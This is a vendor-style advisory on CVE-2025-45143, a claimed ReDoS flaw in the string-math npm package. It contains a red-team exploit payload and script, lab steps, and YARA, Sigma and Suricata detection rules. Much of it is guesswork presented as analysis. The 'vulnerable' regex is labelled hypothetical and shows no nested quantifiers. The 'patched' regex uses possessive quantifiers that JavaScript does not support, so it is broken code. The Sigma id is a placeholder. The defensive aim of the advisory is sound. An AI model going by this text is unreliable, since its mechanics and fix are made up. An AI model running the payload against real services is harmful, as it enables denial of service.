CVE-2025-45143

Executive Summary

CVE-2025-45143 identifies a Regular Expression Denial of Service (ReDoS) vulnerability in the string-math npm package version 1.2.2. The vulnerability is triggered by a crafted input that causes the regular expression engine to enter catastrophic backtracking, leading to excessive CPU consumption and service unavailability. No patch is currently available, and the vendor has not released a fix. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for applications that process untrusted user input through this library.

Supply Chain & Package Security

This vulnerability affects the string-math npm package. As an npm package, it is distributed via the npm registry and can be introduced into applications through direct dependency or transitive dependency chains. Organizations should audit their package-lock.json or yarn.lock files for the presence of string-math@1.2.2. Since no patch is available, the recommended action is to replace the library with an alternative or implement input validation to mitigate the ReDoS risk.

CVSS Breakdown & Threat Level

The CVSS score is reported as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (ReDoS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the attack can be launched remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the only affected resource.
• Confidentiality (C): None (N) – no data breach.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – service disruption.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High (Availability impact)

Deep Dive & Mechanics

The string-math npm package is designed to evaluate mathematical expressions from strings. The vulnerability lies in the regular expression used to parse or validate input. A ReDoS occurs when a regex contains a pattern with nested quantifiers or overlapping alternations that cause the engine to try an exponential number of paths for certain inputs.

In string-math v1.2.2, the vulnerable regex likely matches patterns like (\d+\.?\d*|[+\-*/()]) or similar constructs that, when given a crafted input such as "1+2+3+4+5+6+7+8+9+0" repeated many times, cause catastrophic backtracking. The attacker sends a specially crafted string that forces the regex engine to explore all possible combinations, consuming CPU resources and potentially causing the application to hang or crash.

The vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the regex pattern used in string-math v1.2.2. A hypothetical fix would involve rewriting the regex to avoid nested quantifiers or using atomic groups/possessive quantifiers.

Vulnerable Code (v1.2.2):

// Hypothetical vulnerable regex
const regex = /(\d+\.?\d*|[+\-*/()])/g;

Patched Code (Hypothetical):

// Use possessive quantifiers or atomic groups
const regex = /(\d++\.?\d*+|[+\-*/()])/g;

Exploitation & Lab Setup

Red Team

Objective: Trigger ReDoS to cause denial of service.

Prerequisites:

• Node.js environment with string-math@1.2.2 installed.
• Ability to send HTTP requests or input to the application.

Exploit Payload:

// Crafted input to cause catastrophic backtracking
const payload = "1+2+3+4+5+6+7+8+9+0".repeat(1000);

Exploit Script:

const stringMath = require('string-math');
const payload = "1+2+3+4+5+6+7+8+9+0".repeat(1000);
try {
    stringMath(payload);
} catch (e) {
    // Expected: process hangs or crashes
}

Lab Setup:

1. Create a new Node.js project.
2. Install string-math@1.2.2 using npm install string-math@1.2.2.
3. Run the exploit script and observe CPU usage.

Blue Team

Detection:

• Monitor for high CPU usage spikes in Node.js processes.
• Look for repeated patterns in logs that match the payload structure.
• Use WAF rules to block inputs containing long sequences of digits and operators.

Mitigation:

• Implement input length limits.
• Use a timeout wrapper for regex operations.
• Replace string-math with a safer alternative like mathjs.

Indicators of Compromise (IOCs)

• File Hash (npm package): sha256: <unknown>
• Network Pattern: Repeated requests with long strings of digits and operators (e.g., 1+2+3+4+5+6+7+8+9+0 repeated).
• Process Anomaly: Node.js process consuming 100% CPU for extended periods.
• Log Entry: Application logs showing timeout errors or unresponsive behavior.

Detection Engineering

YARA Rule

rule CVE_2025_45143_ReDoS_StringMath {
    meta:
        description = "Detects ReDoS payloads targeting string-math v1.2.2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45143"
    strings:
        $payload = /(\d+[+\-*/]){100,}/ 
    condition:
        $payload
}

Sigma Rule

title: ReDoS Attempt Against string-math
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-45143 via crafted input
author: Valters IT
logsource:
    category: application
    product: nodejs
detection:
    selection:
        event: "string-math"
        input|contains: 
            - "1+2+3+4+5+6+7+8+9+0"
    condition: selection
falsepositives:
    - Legitimate long mathematical expressions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45143 ReDoS Attempt"; flow:to_server; content:"1+2+3+4+5+6+7+8+9+0"; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the library: Remove string-math and use an alternative like mathjs or expr-eval.
2. Input validation: Limit input length and reject patterns with excessive repetition.
3. Timeout: Wrap regex operations with a timeout (e.g., using Promise.race with a timeout).

Long-term Fix:

• Wait for the vendor to release a patched version. Monitor the npm advisory for updates.
• If the package is critical, consider forking and fixing the regex.

Workaround:

• Use a reverse proxy or WAF to block requests containing long sequences of digits and operators.

Valters IT
Securing Digital Frontiers